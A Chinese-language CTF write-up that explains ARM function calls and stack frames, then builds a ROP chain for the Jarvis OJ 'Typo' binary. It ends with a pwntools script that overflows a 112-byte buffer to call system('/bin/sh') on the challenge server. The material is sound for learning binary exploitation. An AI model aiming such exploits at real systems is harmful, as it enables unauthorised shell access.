Jarvis OJ - Typo の Write-Up

Introduction

Typo作为ARM架构的题目,算是简单的入门题,让初学者能够了解ARM架构的函数调用过程。

Step 1

程序看起来是一个很有趣的打字游戏:

checksec发现是arm架构的32位程序:

Step 2

再简单的温习一下ARM架构的函数调用:

  • R0~R3通常用于传参,剩下的参数从右向左依次入栈,被调用者实现栈平衡,返回值存放在R0中;

  • r15 -> pc => 当前程序执行位置;

  • r14 -> lr => 连接寄存器:跳转指令自动把返回地址放入r14中;

  • r13 -> sp => 栈指针:指向上一帧的栈底;

  • r12 -> ip => ip 内部过程调用寄存器Intra-Procedure-call scratch register,其实就是r12;

  • r11 -> fp => 当前函数栈帧的栈底,也就是栈基地址FP;

ARM架构的栈布局如下图所示:

main stack frame为调用函数的栈帧,func1 stack frame为当前函数(被调用者)的栈帧,栈底在高地址,栈向下增长。图中FP就是栈基址,它指向函数的栈帧起始地址;

SP则是函数的栈指针,它指向栈顶的位置。ARM压栈的顺序很是规矩,依次为当前函数指针PC、返回指针LR、栈指针SP、栈基址FP、传入参数个数及指针、本地变量和临时变量。先压栈的main stack 进入在高地址。

Step 3

回到Typo程序本身,在程序中有‘/bin/sh’字符串:

同时看到是sub_10ba8函数调用这个字符串,根据sub_10ba8函数发现这个函数其实就是system函数。在这个函数下面紧接着就是sub_110b4函数可以调用sub_10ba8即system函数。

有了system函数和’/bin/sh’,接下来需要的是找一个gadget控制R0寄存器:

根据找到的gadget构造这样的栈结构:

这样在程序返回时, 经过ROP Chain就会实现r0 -> “/bin/sh”, r4 -> junk_data, pc = system_addr的效果, 进而执行system("/bin/sh")来get shell。

最后就是寻找溢出点,确定padding的长度。

利用cyclic可以计算出padding长度112。

Step 4

所以解题脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

# sh = process('./typo')
sh = remote("pwn2.jarvisoj.com", 9888)

payload = 'a'*112 + p32(0x20904) + p32(0x6c384) + p32(1) + p32(0x110b4)

sh.sendafter('quit', '\n')
sh.recvline()

sh.sendline(payload)
sh.interactive()
sh.close()

运行结果:

文章作者: ColdSnap
文章链接: https://coldwave96.github.io/2021/01/20/Typo/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ColdSnap の Blog